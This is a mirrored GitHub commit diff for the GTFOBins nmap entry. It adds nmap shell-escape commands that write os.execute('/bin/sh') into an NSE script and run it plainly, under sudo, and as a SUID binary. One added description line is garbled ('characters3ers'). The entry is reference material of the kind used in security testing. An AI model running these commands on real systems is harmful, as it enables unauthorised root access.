mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add suid, description and YAML fixes to nmap
This commit is contained in:
parent
c20ade4551
commit
7822ec33e8
@ -1,9 +1,18 @@
|
||||
---
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
- code: echo "os.execute('/bin/sh')" > /tmp/script.nse
|
||||
nmap --script=/tmp/script.nse
|
||||
- description: Echoing of input characters3ers is disabled.
|
||||
code: |
|
||||
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
||||
nmap --script=/tmp/script.nse
|
||||
sudo-enabled:
|
||||
- code: echo "os.execute('/bin/sh')" > /tmp/script.nse
|
||||
sudo nmap --script=/tmp/script.nse
|
||||
- description: Echoing of input characters3ers is disabled.
|
||||
code: |
|
||||
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
||||
sudo nmap --script=/tmp/script.nse
|
||||
suid-enabled:
|
||||
- description: Echoing of input characters3ers is disabled.
|
||||
code: |
|
||||
echo 'os.execute("/bin/sh -p")' > /tmp/script.nse
|
||||
./nmap --script=/tmp/script.nse
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user